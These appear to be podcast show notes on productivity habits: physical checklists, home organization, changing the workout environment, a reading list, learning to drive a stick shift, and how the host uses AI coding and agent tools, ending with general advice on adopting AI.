The Power of Physical Checklists: Inspired by aviation, Atul Gawande's The Checklist Manifesto, and Daniel Kahneman's Noise, I've been experimenting with printed, physical checklists for repetitive tasks — from producing this show to running one-on-ones. The rigor of writing precise procedures carries over into clearer communication with both humans and AI agents. Small Interventions, Big Returns: A Brother P-Touch label maker. Reorganizing scattered hobby gear. 3D printing organizational tools with a new Bambu Labs P1S. None of these are revolutionary on their own, but the compounding effect of better organization — essentially building a fast index for your physical life — pays back over and over. Context Shapes Focus: Switching from a home gym to working out at Planet Fitness with my brother-in-law was one of the best focus interventions I've made. The change in environment eliminated the procrastination and context-blending that came from being steps away from my computer. If you're struggling with a habit, sometimes the environment is the variable to change, not your willpower. The Reading List: Good Strategy, Bad Strategy by Richard Rumelt (and its follow-up The Crux), The Art of Action by Stephen Bungay (a great framework for thinking about agentic workflows), How to Know a Person by David Brooks, and my top recommendation: 4,000 Weeks by Oliver Burkeman — a book that will help you stop looking for the productivity hack that fixes everything and start thinking about what actually matters. Learning as a Habit: Right now I'm learning to drive a stick shift on a 1983 Bronco. The point isn't the skill itself — it's staying in the beginner's seat. Intentional practice, setting small goals, refining through repetition. Keeping this habit alive is more important than ever when the industry demands rapid adaptation. How I'm Actually Using AI: Claude Code for one-shotting tools with clear boundaries, local environment improvements, and terminal troubleshooting. OpenClaw for experimental agents like a personalized trip planner and Home Assistant automations via YAML. Claude Co-Work for file system management and screenshot organization. Obsidian as the connective tissue — a markdown knowledge base that gives AI agents personal context to work with. And at work, spec-driven development is showing real promise for shaping agent output quality. A Framework for Thinking About AI's Role: I break AI use cases into categories: automating existing workflows (where most gains are today), operational restructuring (what happens when you free humans from a task), execution of complex technical work (agents on the front lines), iterative consulting on intent and goals, and the emerging frontier of exploratory connections and strategic synthesis. What You Should Actually Do: Be action-oriented — the cat is out of the bag. Invest heavily in planning and specification before sending agents off to work. But more importantly, invest in mindful change: understand your own values, figure out who you want to be when you look back on this moment in 10 years, and let that guide your decisions about adoption, learning, and career direction.